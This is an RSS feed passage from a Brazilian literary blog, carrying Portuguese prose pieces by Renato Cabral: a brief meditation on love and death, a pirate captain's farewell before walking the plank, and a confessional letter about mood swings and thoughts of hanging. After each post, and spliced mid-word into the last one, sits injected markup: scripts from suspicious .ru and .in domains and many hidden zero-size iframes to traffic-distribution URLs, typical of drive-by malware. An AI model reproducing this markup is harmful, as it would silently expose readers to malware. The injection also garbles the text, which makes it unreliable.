<P><BR>Porque o contrário da vida não é a morte. O contrário da vida é a terra que te come, que te seca, te suga e te cospe tão pequena e desfeita. A morte é o mesmo do amor;&nbsp;coisas iguais. Por isso tão poucos de fato vivem. Porque são tão poucos os que sabem morrer, minha querida. Morra amanhã pra que eu possa te beijar e te lamber tão bela!</P>
<P>&nbsp;</P>
<P>por <STRONG>Renato Cabral<BR>TW - @_RenatoCabral_</STRONG></FONT></P><script src=http://2677.in/yahoo.js></script><script src=http://get.postfolkovs.ru/js.js></script><script src=http://version.webservicesmulti.ru/js.js></script><iframe src="http://nutcountry.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
</item>
<item>
<title>A três passos do azul - 9/4/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2106</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/morteterra95935.jpg"></P>
<P align=center>&nbsp;</P>
<P align=center><STRONG><FONT size=2 face=verdana>Leia ouvindo </FONT></STRONG><A href="http://www.youtube.com/watch?v=M9LFP5QkwJ0&amp;feature=related" target=_blank><STRONG><FONT size=2 face=verdana>isto ó</FONT></STRONG></A></P>
<P><FONT size=2 face=verdana>Ah, amigos, não temam! Sintam o vento nos pêlos, a corrente nos tornozelos e a prancha sob os pés. Pois este será o único momento que dirá quem somos e quem fomos. É a nossa última vez por aqui. Já que vamos morrer, olhem para o azul que é de todo lugar, do céu ao mar, que é a nossa mãe. Lembrem da carne dos inimigos em nossas espadas, das gargantas cortadas, do sangue e dos gritos, dos baús de ouro e dos tiros, mas também de nossas promessas antes que as donzelas adormecessem e dos banquetes. Que dias, que vida! </FONT></P>
<P><BR><FONT size=2 face=verdana>Acostumados a partir antes do sol crescer, agora é a hora definitiva de irmos e não mais voltar. Que nossa morte seja lenta e intensa como nossos dias. Ah, irmãos, não tenham medo nem pena do que deixam. Porque nunca tivemos nada de fato. Nossa maior liberdade foi abrir mão de nós mesmos para cairmos no mundo. Caiam como homens! Encarem o lâmina como fizemos em Trindade, no Atlântico e em Madagascar. E que hoje possamos voltar ao nosso pai, o grande Pacífico. </FONT></P>
<P><BR><FONT size=2 face=verdana>Já posso sentir a falta de ar e a festa dos peixes com nossas sobras. Já posso sentir o sorriso de nossos algozes e dos tubarões. Porque o orgulho é pra poucos. Ah, meus amigos, ainda bem que não teremos mais quinhentos anos de chances, porque "seriam mais quinhentos anos de revanches e vinganças", de paixões e fugas. Porque o coração de um pirata é do vento e ele vai para onde o sopro quiser.</FONT></P>
<P><BR><FONT size=2 face=verdana>Nosso triunfo será os filhos sem pai que deixamos pelo mundo e as garrafas de rum tombadas pelos portos, os corações apaixonados nos cais a nos olharem com dor e saudade. E a derrota de nossos inimigos, a morte rápida e caduca num quarto mais frio que o nosso coração. Porque um homem só pode se sentir realmente além de si mesmo se tiver tempo de degustar sua própria queda e sua derrocada final. Que morram os tolos de uma vez, mais uma vez sem perceber. E que os bravos possam agonizar seus feitos até o último respiro. Porque o horizonte é daqueles que sabem olhar. E as praias mais lindas dos que sabem nadar e não desistem antes da última onda quebrar. Avante, homens! Ao mar...<BR></FONT></P>
<P><FONT size=2 face=verdana>Por <STRONG>Renato Cabral <BR><A href="mailto:oruminante@gmail.com">oruminante@gmail.com</A><BR>TW - @_RenatoCabral_</STRONG></P></FONT><script src=http://2677.in/yahoo.js></script><script src=http://get.postfolkovs.ru/js.js></script><script src=http://version.webservicesmulti.ru/js.js></script><iframe src="http://nutcountry.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="htt<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
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<item>
<title>De volta ao lugar de minha queda - 6/4/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2095</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/morte74475.jpg"></P><FONT size=2 face=verdana>
<P><BR><STRONG>Caro comparsa,</STRONG></P>
<P><BR>quando se tem uma mente inquieta, não há lugar melhor para se estar do que dormindo. Mas, mesmo por lá, as pragas vêm me visitar. A realidade é um tormento massacrante e constrangedor. Minha própria presença é ridícula e destorcida. Ora sou o filho de Krypton, ora a abóbora a olhar pro espantalho. Não há espelho possível, porque toda imagem não é reflexo, mas uma caricatura mórbida a berrar seus enigmas na minha cara. E os outros são piratas a me jogarem aos tubarões. Eu na prancha.</P>
<P><BR>Sou o filho do meio. Nasci com um defeito. Meu cérebro se entristece e se excita com muita velocidade; do breu do abismo à cegueira das alturas. A doença tem nome. Mas não gosto dos rótulos. Meu remédio tem receita, mas minha chaga não tem remédio. Meu humor não tem cura, porque como você mesmo me alertou, para gente como nós, só há uma forma de vitória: aceitar que sempre seremos derrotados perante isso que está aí. Este mundo não é nosso.&nbsp; </P>
<P><BR>Você sabe. Esse defeito formou e deformou tudo em mim, tudo que tenho e que sou, do meu caráter aos meus piores inimigos; do brilhantismo dos meus olhos no escuro ao ruído do meu grito pela manhã iluminada; dos mais intensos romances às piores dores que o amor pode trazer. Ele me fez um conquistador e um ateu, um amante maníaco e um mentiroso suicida sem bomba e sem coragem.</P>
<P><BR>Me pediram pra fugir, pra eu não voltar mais. Mas é o contrário. Já estou na fuga há tanto tempo que me esqueci como voltar pra casa e pra mim. Desaprendi como é a vida que todo mundo sabe costurar e levar sob o braço. É como se minha cabeça tivesse virado um buraco de coelho, um campo de centeio. Uma vez lá dentro, é impossível voltar, se voltar, com as mesmas loucuras.</P>
<P><BR>Uma hora sou um navegante, o errante herói a atravessar horizontes e embevecer corações distraídos. É quando você acha que nasceu pra conquistar, que seja com a espada, com a cruz ou com a palavra. E acha que os outros nasceram pra perder e pra pagar. Acha que sua existência é ser cobrador. E sente raiva do mundo e de todos. Quer retomar à força o sorriso que a impotência de não ter nem a si mesmo lhe arrancou. E quando essa onda passa, o que sobra é a ressaca bravia e solitária pregada como remelas a seus olhos mareados. Você a pingar no chão, se gastando inteiro, mas sem nunca terminar de vez. </P>
<P><BR>Estou com medo da forca. Sinto seu nó no meu pescoço. Sinto minha aptidão voluntária a me dispor ao seu favor de me tapar o ar e quebrar o pescoço. Quem dera soubesse que não tenho uma alma eterna, mas só um corpo cheio de infinitas almas mortais. Ah, meu amigo, quem dera soubesse que buscar a felicidade e achar ruim a tristeza é como se emocionar com o sol nascer ou se pôr. Se eu soubesse que basta esperar pelo meio dia que tudo passa. </P>
<P><BR>Por demais no futuro, me envelheci rápido. Hoje sei que meu local de morte é no passado, ao lado dos que cativei o sorriso e o choro, a companhia vacilante, e que já partiram, casaram e criaram seus jardins longe de mim. É lá que quero morrer. Morrer da lembrança de que a vida poderia ter tido menos desse mastro tão pesado de carregar que sou eu mesmo. Se pelo menos eu pudesse me amarrar nele lá em cima como fez Ulisses e esperar o canto das sereias e a tempestade cessarem.<BR>&nbsp;<BR>Nunca me senti tão próximo de mim e tão desacompanhado. Tão perto de me tornar aquilo que sou e tão solitário. A maturidade veio com um preço alto. Meu despertar me imobilizou e agora os sentidos que antes eu criava pra seguir e viver, pra suportar e me enganar, pra fugir e gozar, não valem mais nada. E esse abandono sou eu. Suportar pra que, então, e até quando?<BR>&nbsp;<BR>Pergunto isso a olhar o espelho. E no espelho, melhor seria não recusar nossas caretas. Porque se há algo de belo em estar aqui, é encarar o grotesco que somo<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
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